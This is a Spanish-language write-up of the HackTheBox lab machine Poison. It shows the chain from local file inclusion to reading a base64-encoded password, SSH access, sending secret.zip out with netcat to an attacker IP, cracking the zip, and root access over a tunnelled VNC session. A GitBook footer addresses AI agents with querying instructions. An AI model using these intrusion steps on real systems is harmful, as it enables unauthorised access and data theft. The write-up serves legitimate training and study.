> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md).

# Writeup de Poison en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Poison>" %}

{% hint style="warning" %}
**Habilidades:**

* Inclusión local de archivos (LFI)
* Romper archivo ZIP
* Abusando de VNC - vncviewer (Elevación de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/bd7125a60beaed0d514a1129b7e9f9db9a6c6995" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/338dda451c006b6b3b7614f799885b1e25c28dd2" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts
```

<figure><img src="/files/6c67bb6a4812bf439ccc5a1927ee46071cb9542f" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap (22, 80):**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.84 -oN targeted 
```

<figure><img src="/files/e47d6119d42d4ca427906e4b0c866249b32ff668" alt=""><figcaption></figcaption></figure>

## Puerto 80 - FreeBSD

{% hint style="info" %}
FreeBSD es un popular sistema operativo libre de código abierto basado en la versión BSD del sistema operativo Unix. FreeBSD tiene la reputación de ser rápido, estable y particularmente adecuado para operar como servidor de Internet o servidor de archivos.
{% endhint %}

<figure><img src="/files/3d329be971fc00b1f0a354e16db7dcec4bcee572" alt=""><figcaption></figcaption></figure>

### **Explotación de LFI**

Identificamos un parámetro vulnerable:

```
?file=FILE
```

<figure><img src="/files/70f49103badba7bda58db3b41af029dd500dd408" alt=""><figcaption></figcaption></figure>

Esto nos permite leer cualquier archivo disponible en el sistema.

De forma remota `pwnbackup.txt`, encontramos una cadena que indica una contraseña cifrada **13 veces en base64**:

```
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=
```

<figure><img src="/files/fa31184c5231dbbc100ce0f19cabd274660f313f" alt=""><figcaption></figcaption></figure>

Descifrado con `echo`:

{% code overflow="wrap" %}

```bash
echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo
```

{% endcode %}

La contraseña revelada es:

* `Charix!2#4%6&8(0`

### **Búsqueda de usuario del sistema**

Listamos `/etc/passwd` a través del LFI y encontramos al usuario **charix**.

<figure><img src="/files/19a91659ed3f1d77f871a540a94ea4d9104c1119" alt=""><figcaption></figcaption></figure>

Conexión SSH con las credenciales encontradas:

```bash
ssh charix@10.10.10.84 
```

<figure><img src="/files/87d345d67687a6db0645ba0c2ca7deecdf48e6cb" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

Bandera `user.txt` recuperado

<figure><img src="/files/a87b4506eeaedd39efdce525d423702d9b150baa" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Encontramos un archivo **secret.zip**.

#### **Transferencia de archivos con Netcat**

En nuestra máquina:

```bash
nc -nvlp 443 > secret.zip
cat secret.zip  | nc 10.10.14.50 443
```

El archivo está protegido con contraseña.

<figure><img src="/files/969ab920318a8b894f2931344c36fbd5a60af41c" alt=""><figcaption></figcaption></figure>

### **Crackeo de contraseña ZIP**

**Extrae el hash con `zip2john`**:

Así que usaremos zip2john para extraer el hash

```bash
zip2john secret.zip > hash
```

**Cracking de contraseñas con `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Resultado**: No encontrado

<figure><img src="/files/9f67af7a7e98eb7d77f869d0568bce129cdc0d2e" alt=""><figcaption></figcaption></figure>

Probamos la reutilización de la contraseña descubierta previamente:

<figure><img src="/files/10a53f6f2700222384d14e99e587f36d4ed2439a" alt=""><figcaption></figcaption></figure>

/*¡Éxito! /*/\*

`secreto` el archivo contiene caracteres extraños, lo que sugiere una clave de acceso

### Explotación 5800,5801,5900,5901 - VNC

Identificamos puertos en escucha:

```bash
netstat -an | grep LISTEN
```

<figure><img src="/files/ac28421e258f70d66a307dd205181153e737a6ef" alt=""><figcaption></figcaption></figure>

#### **Túnel SSH para redirigir puertos VNC**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="/files/b05366bff3647b468aadfddfd9b27faa8f2b854c" alt=""><figcaption></figcaption></figure>

Escaneo del servicio VNC:

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="/files/7f6991dedcf4aa68035ff1973b3297f4e26b7caf" alt=""><figcaption></figcaption></figure>

#### **Inicio de sesión mediante vncviewer**

Usamos la contraseña encontrada en `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

Obtenemos un **acceso root** ¡en la máquina!

<figure><img src="/files/50e624810a034aacedce7260d5c8cf875bde5457" alt=""><figcaption></figcaption></figure>

### Bandera root.txt

<figure><img src="/files/ac9fef04eddc601f89a40ac09b1a27006bbcf299" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3ecd6829b5f5c17f01e09dbbfc41fba04d823996" alt="" width="404"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
